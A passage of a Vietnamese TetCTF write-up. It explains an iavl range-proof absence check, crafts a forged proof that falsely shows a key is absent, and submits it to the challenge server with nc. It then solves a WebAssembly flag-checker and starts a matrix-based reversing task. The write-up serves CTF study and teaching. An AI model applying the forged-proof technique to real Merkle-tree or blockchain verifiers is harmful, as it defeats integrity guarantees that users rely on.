if !bytes.Equal(derivedRoot, lpath.Right) {
return nil, treeEnd, false, errors.Wrapf(ErrInvalidRoot, "intermediate root hash %X doesn't match, got %X", lpath.Right, derivedRoot)
}
if done {
return hash, treeEnd, true, nil
}
}
// We're not done yet (leaves left over). No error, not done either.
// Technically if rightmost, we know there's an error "left over leaves
// -- malformed proof", but we return that at the top level, below.
return hash, false, false, nil
}
// Verify!
path := proof.LeftPath
rootHash, treeEnd, done, err := COMPUTEHASH(path, true)
if err != nil {
return nil, treeEnd, errors.Wrap(err, "root COMPUTEHASH call")
} else if !done {
return nil, treeEnd, errors.Wrap(ErrInvalidProof, "left over leaves -- malformed proof")
}
// Ok!
return rootHash, treeEnd, nil
}
Sau khi check root thành công rồi proof.VerifyAbsence
sẽ check target key có nằm trong tree không, như code bên dưới. Lưu ý là iavl sắp xếp các leaves theo một thứ tự xác định (tăng dần). Như vậy để prove target key không có trong tree thì:
TH1:
key < Leaves[0].Key
vàLeaves[0].Key
là leaf bên trái ngoài cùngHoặc, TH2:
Leaves[0].Key < key
vàLeaves[0].Key
là leaf bên phải ngoài cùngHoặc, TH3:
Leaves[0].Key < key
và nhữngLeaves[i]
khác thoảkey < Leaves[i].Key
// Verify that proof is valid absence proof for key.
// Does not assume that the proof itself is valid.
// For that, use Verify(root).
func (proof *RangeProof) VerifyAbsence(key []byte) error {
if proof == nil {
return errors.Wrap(ErrInvalidProof, "proof is nil")
}
if !proof.rootVerified {
return errors.New("must call Verify(root) first")
}
cmp := bytes.Compare(key, proof.Leaves[0].Key)
if cmp < 0 {
if proof.LeftPath.isLeftmost() {
return nil
}
return errors.New("absence not proved by left path")
} else if cmp == 0 {
return errors.New("absence disproved via first item #0")
}
if len(proof.LeftPath) == 0 {
return nil
}
if proof.LeftPath.isRightmost() {
return nil
}
// See if any of the leaves are greater than key.
for i := 1; i < len(proof.Leaves); i++ {
leaf := proof.Leaves[i]
cmp := bytes.Compare(key, leaf.Key)
switch {
case cmp < 0:
return nil
case cmp == 0:
return fmt.Errorf("absence disproved via item #%v", i)
default:
// if i == len(proof.Leaves)-1 {
// If last item, check whether
// it's the last item in the tree.
// }
continue
}
}
// It's still a valid proof if our last leaf is the rightmost child.
if proof.treeEnd {
return nil // OK!
}
// It's not a valid absence proof.
if len(proof.Leaves) < 2 {
return errors.New("absence not proved by right leaf (need another leaf?)")
}
return errors.New("absence not proved by right leaf")
}
Giả sử mình build được một tree như hình dưới và có được proof của từng leaf (B), (C), (D) (dùng tree.GetWithProof
).
{
"left_path": [{
"height": 2,
"size": 4,
"version": 1,
"left": null,
"right": "ZsAR4E4hOkLqkpI+3Lk1qOcQd8CVQPEAJoMHdXffhV8="
}, {
"height": 1,
"size": 2,
"version": 1,
"left": "KxqDTOAA+wMrOxBGM7zRxHDgPOaVSvPyF0vhlGmXvXI=",
"right": null
}],
"inner_nodes": null,
"leaves": [{
"key": "506C656173652067697665206D6520666C6166",
"value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
"version": 1
}]
}
{
"left_path": [{
"height": 2,
"size": 4,
"version": 1,
"left": "iUcZCYGqOynqncfG8RUXccQo3O8mWXYSZVVthc7V3po=",
"right": null
}, {
"height": 1,
"size": 2,
"version": 1,
"left": null,
"right": "AaLzCR0iVpGoOKYMpJRTw85FKMcgz01LJ9N2TYubO8I="
}],
"inner_nodes": null,
"leaves": [{
"key": "506C656173652067697665206D6520666C6167",
"value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
"version": 1
}]
}
{
"left_path": [{
"height": 2,
"size": 4,
"version": 1,
"left": "iUcZCYGqOynqncfG8RUXccQo3O8mWXYSZVVthc7V3po=",
"right": null
}, {
"height": 1,
"size": 2,
"version": 1,
"left": "pvscYKxyFDUPxP0R6qEYaAMYdJC4G2VXKhgJAuAh4So=",
"right": null
}],
"inner_nodes": null,
"leaves": [{
"key": "506C656173652067697665206D6520666C6168",
"value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
"version": 1
}]
}
Việc còn lại là craft một RangeProof hợp lệ cho hai leaves (B), (D) thoả proof.Verify
đồng thời cũng thoả proof.VerifyAbsence
theo TH3. Ở đây left_path
là path của leaf đầu tiên trong proof: (B), inner_nodes
là node (F) (để prove leaf (D) trong tree).
{
"left_path": [{
"height": 2,
"size": 4,
"version": 1,
"left": null,
"right": "ZsAR4E4hOkLqkpI+3Lk1qOcQd8CVQPEAJoMHdXffhV8="
}, {
"height": 1,
"size": 2,
"version": 1,
"left": "KxqDTOAA+wMrOxBGM7zRxHDgPOaVSvPyF0vhlGmXvXI=",
"right": null
}],
"inner_nodes": [
[{
"height": 1,
"size": 2,
"version": 1,
"left": "pvscYKxyFDUPxP0R6qEYaAMYdJC4G2VXKhgJAuAh4So=",
"right": null
}]
],
"leaves": [{
"key": "506C656173652067697665206D6520666C6166",
"value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
"version": 1
}, {
"key": "506C656173652067697665206D6520666C6168",
"value": "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855",
"version": 1
}]
}
Xong rồi lấy flag thôi.
% nc 139.162.24.230 31337
56253716365461903439579434265850711409481442763884290297661026675117448458917 51329327614657051210900078708276432162440881597644333974821193751328600339415
UGxlYXNlIGdpdmUgbWUgZmxhZQ==
102086226051766630552792704280250843632675908569658191228801301268745350844965 62296438785217030217012294404635525266252862204816566664977743056729507660424
UGxlYXNlIGdpdmUgbWUgZmxhZg==
82244573064920333839263765403149631407899576805032556451760917404840839054072 48676597670866078956804658634678317277475067664041793228043885120586039346849
UGxlYXNlIGdpdmUgbWUgZmxhZw==
46537078340079849868547597696981012705638642765494322583968235942524680546329 98220644782654064088480205599630519753561646443795431991925613459538716705804
UGxlYXNlIGdpdmUgbWUgZmxhaA==
26924463172195072599691663032962268721216085161071385559744604832313382111263 43280396618361057956315235962661331591263251392719006884668977168111764977253
.
46537078340079849868547597696981012705638642765494322583968235942524680546329
98220644782654064088480205599630519753561646443795431991925613459538716705804
eyJsZWZ0X3BhdGgiOlt7ImhlaWdodCI6Miwic2l6ZSI6NCwidmVyc2lvbiI6MSwibGVmdCI6bnVsbCwicmlnaHQiOiJac0FSNEU0aE9rTHFrcEkrM0xrMXFPY1FkOENWUVBFQUpvTUhkWGZmaFY4PSJ9LHsiaGVpZ2h0IjoxLCJzaXplIjoyLCJ2ZXJzaW9uIjoxLCJsZWZ0IjoiS3hxRFRPQUErd01yT3hCR003elJ4SERnUE9hVlN2UHlGMHZobEdtWHZYST0iLCJyaWdodCI6bnVsbH1dLCJpbm5lcl9ub2RlcyI6W1t7ImhlaWdodCI6MSwic2l6ZSI6MiwidmVyc2lvbiI6MSwibGVmdCI6InB2c2NZS3h5RkRVUHhQMFI2cUVZYUFNWWRKQzRHMlZYS2hnSkF1QWg0U289IiwicmlnaHQiOm51bGx9XV0sImxlYXZlcyI6W3sia2V5IjoiNTA2QzY1NjE3MzY1MjA2NzY5NzY2NTIwNkQ2NTIwNjY2QzYxNjYiLCJ2YWx1ZSI6IkUzQjBDNDQyOThGQzFDMTQ5QUZCRjRDODk5NkZCOTI0MjdBRTQxRTQ2NDlCOTM0Q0E0OTU5OTFCNzg1MkI4NTUiLCJ2ZXJzaW9uIjoxfSx7ImtleSI6IjUwNkM2NTYxNzM2NTIwNjc2OTc2NjUyMDZENjUyMDY2NkM2MTY4IiwidmFsdWUiOiJFM0IwQzQ0Mjk4RkMxQzE0OUFGQkY0Qzg5OTZGQjkyNDI3QUU0MUU0NjQ5QjkzNENBNDk1OTkxQjc4NTJCODU1IiwidmVyc2lvbiI6MX1dfQ==
TetCTF{l34f_c0ns3cut1v3n3ss_n0t_3nf0rc3d}
Reverse Engineering
babyasm
credit: sonx
Bài cho 1 trang web với input để nhập flag, nếu đúng in ra 'Correct!'.
Code xử lý input của trang web như sau:
code = [0, 97, 115, 109, 1, 0, 0, 0, 1, 56, 9, 80, 0, 95, 1, 127, 1, 80, 0, 94, 99, 0, 1, 96, 0, 0, 96, 1, 127, 1, 100, 1, 96, 3, 99, 1, 127, 127, 0, 96, 2, 99, 1, 127, 1, 127, 96, 4, 99, 1, 127, 127, 127, 0, 96, 1, 99, 1, 1, 127, 96, 1, 99, 1, 1, 127, 3, 8, 7, 2, 3, 4, 5, 6, 7, 8, 6, 118, 20, 127, 1, 65, 224, 0, 11, 127, 1, 65, 229, 0, 11, 127, 1, 65, 20, 11, 127, 1, 65, 177, 1, 11, 127, 1, 65, 155, 1, 11, 127, 1, 65, 244, 0, 11, 127, 1, 65, 236, 0, 11, 127, 1, 65, 197, 0, 11, 127, 1, 65, 212, 0, 11, 127, 1, 65, 237, 0, 11, 127, 1, 65, 231, 0, 11, 127, 1, 65, 238, 0, 11, 127, 1, 65, 239, 0, 11, 127, 1, 65, 223, 0, 11, 127, 1, 65, 244, 0, 11, 127, 1, 65, 231, 0, 11, 127, 1, 65, 225, 0, 11, 127, 1, 65, 200, 0, 11, 127, 1, 65, 20, 11, 127, 1, 65, 59, 11, 7, 45, 7, 1, 49, 0, 0, 4, 105, 110, 105, 116, 0, 1, 10, 97, 114, 114, 97, 121, 95, 102, 105, 108, 108, 0, 2, 1, 51, 0, 3, 1, 52, 0, 4, 1, 53, 0, 5, 5, 99, 104, 101, 99, 107, 0, 6, 10, 184, 8, 7, 142, 1, 0, 35, 0, 65, 19, 115, 36, 0, 35, 1, 65, 55, 115, 36, 1, 35, 2, 65, 32, 115, 36, 2, 35, 3, 65, 36, 115, 36, 3, 35, 4, 65, 19, 115, 36, 4, 35, 5, 65, 55, 115, 36, 5, 35, 6, 65, 32, 115, 36, 6, 35, 7, 65, 36, 115, 36, 7, 35, 8, 65, 19, 115, 36, 8, 35, 9, 65, 55, 115, 36, 9, 35, 10, 65, 32, 115, 36, 10, 35, 11, 65, 36, 115, 36, 11, 35, 12, 65, 19, 115, 36, 12, 35, 13, 65, 55, 115, 36, 13, 35, 14, 65, 32, 115, 36, 14, 35, 15, 65, 36, 115, 36, 15, 35, 16, 65, 19, 115, 36, 16, 35, 17, 65, 55, 115, 36, 17, 35, 18, 65, 32, 115, 36, 18, 35, 19, 65, 36, 115, 36, 19, 11, 9, 0, 32, 0, 251, 7, 1, 16, 0, 11, 22, 0, 32, 0, 32, 1, 32, 2, 65, 19, 106, 65, 64, 107, 251, 0, 0, 65, 1, 251, 16, 1, 11, 13, 0, 32, 0, 32, 1, 251, 11, 1, 251, 2, 0, 0, 11, 109, 0, 32, 1, 65, 0, 70, 4, 64, 32, 0, 32, 2, 32, 0, 32, 2, 16, 3, 32, 3, 106, 65, 32, 115, 16, 2, 5, 32, 1, 65, 1, 70, 4, 64, 32, 0, 32, 2, 32, 0, 32, 2, 16, 3, 32, 3, 106, 65, 36, 115, 16, 2, 5, 32, 1, 65, 2, 70, 4, 64, 32, 0, 32, 2, 32, 0, 32, 2, 16, 3, 32, 3, 106, 65, 19, 115, 16, 2, 5, 32, 1, 65, 3, 70, 4, 64, 32, 0, 32, 2, 32, 0, 32, 2, 16, 3, 32, 3, 106, 65, 55, 115, 16, 2, 11, 11, 11, 11, 11, 172, 3, 1, 1, 127, 32, 0, 65, 0, 16, 3, 65, 137, 175, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 5, 11, 32, 0, 65, 1, 16, 3, 65, 200, 4, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 2, 16, 3, 65, 226, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 3, 16, 3, 65, 194, 173, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 4, 16, 3, 65, 193, 242, 3, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 5, 16, 3, 65, 135, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 6, 16, 3, 65, 193, 6, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 7, 16, 3, 65, 242, 240, 3, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 8, 16, 3, 65, 166, 243, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 9, 16, 3, 65, 238, 3, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 10, 16, 3, 65, 151, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 11, 16, 3, 65, 229, 241, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 12, 16, 3, 65, 225, 139, 4, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 13, 16, 3, 65, 129, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 14, 16, 3, 65, 151, 6, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 15, 16, 3, 65, 174, 137, 4, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 16, 16, 3, 65, 225, 149, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 17, 16, 3, 65, 177, 4, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 18, 16, 3, 65, 161, 5, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 0, 65, 19, 16, 3, 65, 234, 147, 2, 70, 4, 64, 32, 1, 65, 1, 106, 33, 1, 11, 32, 1, 65, 20, 70, 4, 127, 65, 1, 5, 65, 0, 11, 11, 218, 2, 0, 32, 0, 65, 0, 65, 1, 32, 0, 65, 0, 16, 3, 35, 0, 106, 16, 4, 32, 0, 65, 1, 65, 2, 32, 0, 65, 1, 16, 3, 35, 1, 107, 16, 4, 32, 0, 65, 2, 65, 3, 32, 0, 65, 2, 16, 3, 35, 2, 108, 16, 4, 32, 0, 65, 3, 65, 0, 32, 0, 65, 3, 16, 3, 35, 3, 115, 16, 4, 32, 0, 65, 0, 65, 5, 32, 0, 65, 4, 16, 3, 35, 4, 106, 16, 4, 32, 0, 65, 1, 65, 6, 32, 0, 65, 5, 16, 3, 35, 5, 107, 16, 4, 32, 0, 65, 2, 65, 7, 32, 0, 65, 6, 16, 3, 35, 6, 108, 16, 4, 32, 0, 65, 3, 65, 4, 32, 0, 65, 7, 16, 3, 35, 7, 115, 16, 4, 32, 0, 65, 0, 65, 9, 32, 0, 65, 8, 16, 3, 35, 8, 106, 16, 4, 32, 0, 65, 1, 65, 10, 32, 0, 65, 9, 16, 3, 35, 9, 107, 16, 4, 32, 0, 65, 2, 65, 11, 32, 0, 65, 10, 16, 3, 35, 10, 108, 16, 4, 32, 0, 65, 3, 65, 8, 32, 0, 65, 11, 16, 3, 35, 11, 115, 16, 4, 32, 0, 65, 0, 65, 13, 32, 0, 65, 12, 16, 3, 35, 12, 106, 16, 4, 32, 0, 65, 1, 65, 14, 32, 0, 65, 13, 16, 3, 35, 13, 107, 16, 4, 32, 0, 65, 2, 65, 15, 32, 0, 65, 14, 16, 3, 35, 14, 108, 16, 4, 32, 0, 65, 3, 65, 12, 32, 0, 65, 15, 16, 3, 35, 15, 115, 16, 4, 32, 0, 65, 0, 65, 17, 32, 0, 65, 16, 16, 3, 35, 16, 106, 16, 4, 32, 0, 65, 1, 65, 18, 32, 0, 65, 17, 16, 3, 35, 17, 107, 16, 4, 32, 0, 65, 2, 65, 19, 32, 0, 65, 18, 16, 3, 35, 18, 108, 16, 4, 32, 0, 65, 3, 65, 16, 32, 0, 65, 19, 16, 3, 35, 19, 115, 16, 4, 32, 0, 16, 5, 11, 0, 45, 4, 110, 97, 109, 101, 1, 38, 7, 0, 1, 49, 1, 4, 105, 110, 105, 116, 2, 10, 97, 114, 114, 97, 121, 95, 102, 105, 108, 108, 3, 1, 51, 4, 1, 52, 5, 1, 53, 6, 5, 99, 104, 101, 99, 107];
const byte_code = new Uint8Array(code);
const wasmModule = new WebAssembly.Module(byte_code);
const wasmInstance = new WebAssembly.Instance(wasmModule, {});
const wasm = wasmInstance.exports;
const consoleDiv = document.getElementById('console');
const inputField = document.getElementById('input');
inputField.addEventListener('keydown', function (event) {
if (event.key === 'Enter') {
const inputText = inputField.value;
processInput(inputText);
inputField.value = '';
}
});
function processInput(text) {
const p = document.createElement('p');
if (text.startsWith('TetCTF{') && text.endsWith('}') && text.length === 27) {
let array_size = 20;
let array_obj = wasm.init(array_size);
for (var i = 0; i < array_size; i++) {
wasm.array_fill(array_obj, i, text.charCodeAt(i + 7));
}
if (wasm.check(array_obj)) {
p.textContent = '> Correct!';
} else {
p.textContent = '> Incorrect!';
}
} else {
p.textContent = '> Incorrect!';
}
consoleDiv.appendChild(p);
consoleDiv.scrollTop = consoleDiv.scrollHeight;
}
Đầu tiên là kiểm tra format của flag, flag phải bắt đầu bằng TetCTF{
và kết thúc bằng }
và độ dài của flag phải là 27 ký tự.
Tiếp theo trang web có dùng wasm để xử lý input của người dùng.
Ở đây có thể có tool để decompile wasm, nhưng tôi đọc chay.
Cách đọc cũng không có gì đặc biệt, chỉ là đặt breakpoint, debug dần, xem các giá trị của các biến, stack, hàm được gọi để hiểu được chương trình làm gì.
Tổng quan một số hàm:
init
: gọi $1
để khởi tạo các phần tử $global
(thể hiện trong mảng global_arr
ở đoạn code python bên dưới) bằng cách xor với các giá trị định sẵn (thể hiện trong mảng key
).
array_fill
: lấy 20 ký tự của flag, từ ký tự thứ 7 đến ký tự thứ 26, cộng với 19 và 64 và lưu vào mảng array_obj
.
$3
: là hàm tìm giá trị tại vị trí index
của mảng array_obj
.
$4
: là hàm biến đổi array_obj
, có sử dụng các phần tử $global
. Tổng cộng 4 cách biến đổi khác nhau, tùy thuộc vào giá trị được truyền vào.
$5
: so sánh từng phần tử của mảng array_obj
với các giá trị đích (thể hiện trong mảng target
ở đoạn code python bên dưới).
check
: biến đổi mảng array_obj
bằng cách gọi hàm $3
, $4
, cuối cùng là gọi hàm $5
để so sánh kết quả.
Tôi có viết lại đoạn code mô tả lại cách hoạt động của chương trình.
global_arr = [96, 101, 20, 177, 155, 116, 108, 69, 84, 109, 103, 110, 111, 95, 116, 103, 97, 72, 20, 59]
key = [19, 55, 32, 36, 19, 55, 32, 36, 19, 55, 32, 36, 19, 55, 32, 36, 19, 55, 32, 36]
array_obj = [0] * 20
def init():
for i in range(len(global_arr)):
global_arr[i] ^= key[i]
def fill_array(input_text):
for i in range(7, 27):
array_obj[i - 7] = ord(input_text[i]) + 19 + 64
def process():
temp = array_obj[0] + global_arr[0]
temp += array_obj[1]
temp ^= 32
temp += (19 + 64)
array_obj[1] = temp
temp = array_obj[1] - global_arr[1]
temp += array_obj[2]
temp ^= 36
temp += (19 + 64)
array_obj[2] = temp
temp = array_obj[2] * global_arr[2]
temp += array_obj[3]
temp ^= 19
temp += (19 + 64)
array_obj[3] = temp
temp = array_obj[3] ^ global_arr[3]
temp += array_obj[0]
temp ^= 55
temp += (19 + 64)
array_obj[0] = temp
temp = array_obj[4] + global_arr[4]
temp += array_obj[5]
temp ^= 32
temp += (19 + 64)
array_obj[5] = temp
temp = array_obj[5] - global_arr[5]
temp += array_obj[6]
temp ^= 36
temp += (19 + 64)
array_obj[6] = temp
temp = array_obj[6] * global_arr[6]
temp += array_obj[7]
temp ^= 19
temp += (19 + 64)
array_obj[7] = temp
temp = array_obj[7] ^ global_arr[7]
temp += array_obj[4]
temp ^= 55
temp += (19 + 64)
array_obj[4] = temp
temp = array_obj[8] + global_arr[8]
temp += array_obj[9]
temp ^= 32
temp += (19 + 64)
array_obj[9] = temp
temp = array_obj[9] - global_arr[9]
temp += array_obj[10]
temp ^= 36
temp += (19 + 64)
array_obj[10] = temp
temp = array_obj[10] * global_arr[10]
temp += array_obj[11]
temp ^= 19
temp += (19 + 64)
array_obj[11] = temp
temp = array_obj[11] ^ global_arr[11]
temp += array_obj[8]
temp ^= 55
temp += (19 + 64)
array_obj[8] = temp
temp = array_obj[12] + global_arr[12]
temp += array_obj[13]
temp ^= 32
temp += (19 + 64)
array_obj[13] = temp
temp = array_obj[13] - global_arr[13]
temp += array_obj[14]
temp ^= 36
temp += (19 + 64)
array_obj[14] = temp
temp = array_obj[14] * global_arr[14]
temp += array_obj[15]
temp ^= 19
temp += (19 + 64)
array_obj[15] = temp
temp = array_obj[15] ^ global_arr[15]
temp += array_obj[12]
temp ^= 55
temp += (19 + 64)
array_obj[12] = temp
temp = array_obj[16] + global_arr[16]
temp += array_obj[17]
temp ^= 32
temp += (19 + 64)
array_obj[17] = temp
temp = array_obj[17] - global_arr[17]
temp += array_obj[18]
temp ^= 36
temp += (19 + 64)
array_obj[18] = temp
temp = array_obj[18] * global_arr[18]
temp += array_obj[19]
temp ^= 19
temp += (19 + 64)
array_obj[19] = temp
temp = array_obj[19] ^ global_arr[19]
temp += array_obj[16]
temp ^= 55
temp += (19 + 64)
array_obj[16] = temp
def check():
target = [38793, 584, 738, 38594, 63809, 647, 833, 63602, 47526, 494, 663, 47333, 67041, 641, 791, 66734, 35553, 561, 673, 35306]
for i in range(20):
if array_obj[i] != target[i]:
return False
return True
input_text = input("Enter the flag: ")
if input_text.startswith("TetCTF{") and input_text.endswith("}") and len(input_text) == 27:
init()
fill_array(input_text)
process()
if check():
print("Correct!")
else:
print("Incorrect!")
else:
print("Incorrect!")
Tôi nhận ra chương trình nó xử lý từng nhóm 4 phần tử của array_obj
. Từng nhóm một, không ảnh hưởng đến nhóm khác.
Do đó lúc giải mã cũng chỉ cần xử lý từng nhóm 4 phần tử của target
để tìm ra flag.
flag = ""
target = [38793, 584, 738, 38594, 63809, 647, 833, 63602, 47526, 494, 663, 47333, 67041, 641, 791, 66734, 35553, 561, 673, 35306]
for i in range(0, len(target), 4):
arr0 = target[i]
arr1 = target[i + 1]
arr2 = target[i + 2]
arr3 = target[i + 3]
flag2 = ((arr2 - 19 - 64) ^ 36) - (arr1 - global_arr[i + 1]) - 19 - 64
flag3 = ((arr3 - 19 - 64) ^ 19) - (arr2 * global_arr[i + 2]) - 19 - 64
flag0 = ((arr0 - 19 - 64) ^ 55) - (arr3 ^ global_arr[i + 3]) - 19 - 64
flag1 = ((arr1 - 19 - 64) ^ 32) - (flag0 + 19 + 64 + global_arr[i]) - 19 - 64
try:
flag += chr(flag0)
flag += chr(flag1)
flag += chr(flag2)
flag += chr(flag3)
except:
print("error")
break
flag = "TetCTF{" + flag + "}"
print(flag)
# TetCTF{WebAss3mblyMystique}
flag: TetCTF{WebAss3mblyMystique}
Warm up
credit: Hansha29
Load file vào Ida, mình nhận thấy rằng bài này có flow khá đơn giản. Ta chỉ nhần nhập vào input là nội dung trong flag, chương trình sẽ kiểm trả đúng tra và trả ra kết quả tương úng cho mình
Hmmm, nhưng với 1 giải có độ khó cao như này thì mình nghĩ là nó không dễ như vậy được, nên là đã tiến hành kiểm tra xem hàm check có gì không
Hàm check
:
Như vậy ta thấy được rằng hàm check cũng không phải là ăn liền được như ta nghĩ. Vậy hãy đi phân tích lần lượt
Trước hết, ta có thể thấy được rằng độ dài của key phải là 84
nếu không sẽ trả về Wrong
Từ đoạn này có thể thấy, chương trình gán cho biến charset
1 string có 20 kí tự là !_acdefghilmnoprstuwy
, tiếp theo đó, nó sẽ duyệt từng kí tự trong chuỗi mà ta nhập vào, nếu như có bất kể 1 tí tự nào không có trong !_acdefghilmnoprstuwy
thì chương trình sẽ trả về Wrong
. Nói 1 cách đơn giản nhất thì các ký tự của key
mà ta nhập vào sẽ nằm trong giá trị của biến charset
kia
Tiếp theo, có vẻ như chương trình thực hiện làm gì đó với đầu vào mà ta nhập, nhưng mà đê biết nó làm gì thì ta phải kiểm tra cho chắc chắn
Ở đây ta có thể thấy được là chương trình có làm gì đó với key
mà ta nhập vào. Mình vào xem hàm hash_64_fnv1a
là gì trước
Hàm hash_64_fnv1a
:
Mình thử mò tìm trên github cái hộ số trên kia xem có manh mối gì không, thì kết quả ra được source của hàm trên, nhưng tác giả đã custom nó đi 1 chút. Bạn có thể xem source của hàm mã hóa tại đây
Tiếp tục phân tích, nhìn qua thì mình liên tưởng đến đây là tích của 2 ma trận với nhau với đội lớn lần lượt là [21x21]*[1x21] với hệ số là kết quả của xorshift128() % 1024
với v2
. Mà v2
mang giá trị là v9
aka kết quả của hàm hash_64_fnv1a
.
Mình vào xem hàm xorshift128
xem có sao. Thì thấy nó sử dụng cái giá trị của các biến x, y, z, w
được khai báo ở bên ngoài
Hàm xorshift128
:
Mình viết 1 script để gen hết các hệ số ra:
from ctypes import *
x = 0x75BCD15
y = 0x159A55E5
z = 0x1F123BB5
w = 0xDEADBEEF
def xorshift128():
global x, y, z, w
t = x
t ^= t << 11
t = t & 0xFFFFFFFF
t ^= t >> 8
t = t & 0xFFFFFFFF
x = y
y = z
z = w
w ^= w >> 19
w = w & 0xFFFFFFFF
w ^= t
return w
for i in range(0, 0x15):
for j in range(0, 0x15):
tmp = c_int(xorshift128())
hso = tmp.value & 0x3ff
if tmp.value < 0:
hso = -(1024 - hso)
print(hso,end= ", ")
Hệ số(ma trận [21x21]):
842, -198, 778, -259, -73, -935, 739, 703, 595, 906, -888, -669, -616, 983, 136, 565, 413, -797, 802, 534, -122, 612, -180, -903, 57, 672, -406, 326, -328, -328, 169, -626, -196, 571, 519, -156, 649, 890, 616, 662, -239, 121, 812, 273, -766, 562, 694, 1004, -91, 872, -13, 8, -425, 603, -65, -142, -254, -757, 812, -648, 325, 877, 587, -351, 237, 242, -748, 364, 508, -988, -591, -871, 242, -220, 755, 373, -329, -462, 906, 636, 132, -65, 20, 655, -332, -335, -311, 593, -724, 540, -298, 951, 671, 117, 431, 156, 276, -51, 482, 667, 987, -735, -420, -449, -292, -609, -261, -928, -151, -68, -939, -550, -592, 924, 93, -529, -179, -68, -323, -848, -757, 767, 504, -58, -48, -382, 611, -196, -877, 292, -788, 520, 866, 639, 583, 610, 895, 456, -625, -993, 633, -940, 496, 942, 944, 999, 417, 383, -595, 712, -138, -878, 488, -740, -135, -854, 145, -416, 280, 638, 249, 292, 575, -166, 808, -309, -544, -769, 536, 378, 8, -504, 685, -899, 778, 48, -468, -414, -369, 40, 684, -848, -171, 186, 312, -831, -34, -591, -891, 0, -313, 278, -358, 674, -495, -946, 145, -1012, 147, 651, 178, -1019, 490, 840, -557, 141, -408, -917, -444, 825, -1016, 713, -36, 668, 1013, -724, -1005, -395, 935, -933, 625, -257, -852, 1003, 137, 69, -794, -712, -83, 913, 1018, -700, 221, 507, -382, -42, -520, -398, 156, 656, -637, -67, -946, 818, 535, 1005, 957, -803, -937, 23, 774, 34, 49, -80, -247, -543, 128, -986, -311, 718, 513, -640, -124, 593, -376, -428, 134, -699, 929, -611, -866, -13, 992, -335, 672, -462, -366, -663, 392, 928, -20, -572, -237, -697, 854, 146, 922, 764, 402, 993, 243, -857, -362, 620, -74, -758, 535, 210, 372, -888, 633, -134, 657, -203, -245, -844, -562, 519, 589, -908, -111, 855, 986, 535, 782, -638, -618, 94, 33, -668, 102, -869, 135, -135, 267, -439, 620, -408, -832, -688, 893, 937, 630, 536, -213, 214, -460, -596, -141, 640, 547, 854, -984, -806, -1017, 812, -366, 72, 1000, -467, 579, -84, 269, 175, -846, -879, -356, -739, 529, -545, -1014, -714, 181, 840, -787, 57, -86, 344, 599, -996, 694, -627, 606, 768, -492, -352, 355, 333, -748, -606, -176, 153, -926, 778, -716, 175, 978, 514, 669, -368, -194, 723, -897, -78, 370, -271, -616, 123, -184, -341, -818, -502, 660, -856, -675, 359, 855, 151, 594, -521, -768, -866, 44, 637, -282, -998, 919, -370, -427, 829, -865, -727, -121, 464, 436, -1004, 943, -62, -239, -796, -806, -930, 811, 301, -138, -371, 175, 684, -31, -446, 975
Sau khi có được hệ số và có được ma trận check bên dưới thì mình sử dụng sage để tính toán các giá trị của ma trận [1x21]
X = [[842, -198, 778, -259, -73, -935, 739, 703, 595, 906, -888, -669, -616, 983, 136, 565, 413, -797, 802, 534, -122], [612, -180, -903, 57, 672, -406, 326, -328, -328, 169, -626, -196, 571, 519, -156, 649, 890, 616, 662, -239, 121], [812, 273, -766, 562, 694, 1004, -91, 872, -13, 8, -425, 603, -65, -142, -254, -757, 812, -648, 325, 877, 587], [-351, 237, 242, -748, 364, 508, -988, -591, -871, 242, -220, 755, 373, -329, -462, 906, 636, 132, -65, 20, 655], [-332, -335, -311, 593, -724, 540, -298, 951, 671, 117, 431, 156, 276, -51, 482, 667, 987, -735, -420, -449, -292], [-609, -261, -928, -151, -68, -939, -550, -592, 924, 93, -529, -179, -68, -323, -848, -757, 767, 504, -58, -48, -382], [611, -196, -877, 292, -788, 520, 866, 639, 583, 610, 895, 456, -625, -993, 633, -940, 496, 942, 944, 999, 417], [383, -595, 712, -138, -878, 488, -740, -135, -854, 145, -416, 280, 638, 249, 292, 575, -166, 808, -309, -544, -769], [536, 378, 8, -504, 685, -899, 778, 48, -468, -414, -369, 40, 684, -848, -171, 186, 312, -831, -34, -591, -891], [0, -313, 278, -358, 674, -495, -946, 145, -1012, 147, 651, 178, -1019, 490, 840, -557, 141, -408, -917, -444, 825], [-1016, 713, -36, 668, 1013, -724, -1005, -395, 935, -933, 625, -257, -852, 1003, 137, 69, -794, -712, -83, 913, 1018], [-700, 221, 507, -382, -42, -520, -398, 156, 656, -637, -67, -946, 818, 535, 1005, 957, -803, -937, 23, 774, 34], [49, -80, -247, -543, 128, -986, -311, 718, 513, -640, -124, 593, -376, -428, 134, -699, 929, -611, -866, -13, 